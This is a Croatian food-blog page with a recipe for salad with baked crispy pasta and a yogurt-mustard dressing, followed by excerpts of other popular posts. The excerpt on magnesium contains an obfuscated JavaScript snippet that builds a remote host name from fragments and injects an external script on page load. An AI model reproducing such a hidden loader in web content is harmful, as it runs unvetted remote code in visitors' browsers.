SALATA S HRSKAVOM TJESTENINOM 🥗




Salata s hrskavom tjesteninom 



Ova viralna salata spaja hrskavu pečenu tjesteninu, svježe povrće i kremasti preljev s jogurtom i senfom, a čim smo je isprobali bilo nam je jasno zašto je trenutačno najpopularnija salata na internetu.




Salata s hrskavom tjesteninom 


Sastojci:

za salatu:

  • 1 glavica zelene salate
  • 1 krastavac
  • 1 manji crveni luk
  • cherry rajčice

za kremasti preljev:

  • 200 g grčkog jogurta
  • 2 žlice majoneze
  • 1 žličica senfa
  • 1 žličica češnjaka u prahu
  • 2 žlice sitno nasjeckanog svježeg peršina
  • 2 žlice sitno nasjeckanog svježeg kopra
  • sok pola limuna
  • sol i svježe mljeveni papar

za hrskavu tjesteninu:

  • 1 žlica maslinova ulja
  • 1 žličica sušenog češnjaka
  • 1 žličica mljevene crvene paprike
  • sol

dodatno:

  • Za posluživanje:
  • svježe naribani parmezan
  • nasjeckani svježi peršin



Priprema:

  1. Kuhanu i dobro ocijeđenu tjesteninu pomiješajte s maslinovim uljem, sušenim lukom, sušenim češnjakom, mljevenom paprikom i malo soli. Rasporedite je po limu za pečenje pa pecite na 180 do 200 °C 15 do 20 minuta, odnosno dok ne postane zlatna i hrskava.
  2. Za to vrijeme sitno narežite salatu, krastavac, rajčice i crveni luk te ih stavite u veliku zdjelu.
  3. U posebnoj zdjelici pomiješajte jogurt, majonezu, senf, češnjak, limunov sok, nasjeckani peršin i kopar. Posolite, popaprite i dobro izmiješajte.
  4. Povrće prelijte pripremljenim preljevom i lagano promiješajte. Dodajte još toplu hrskavu tjesteninu, a prije posluživanja obilno pospite naribanim parmezanom i svježim peršinom. Hrskavu tjesteninu dodajte neposredno prije posluživanja kako bi zadržala svoju neodoljivu teksturu.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više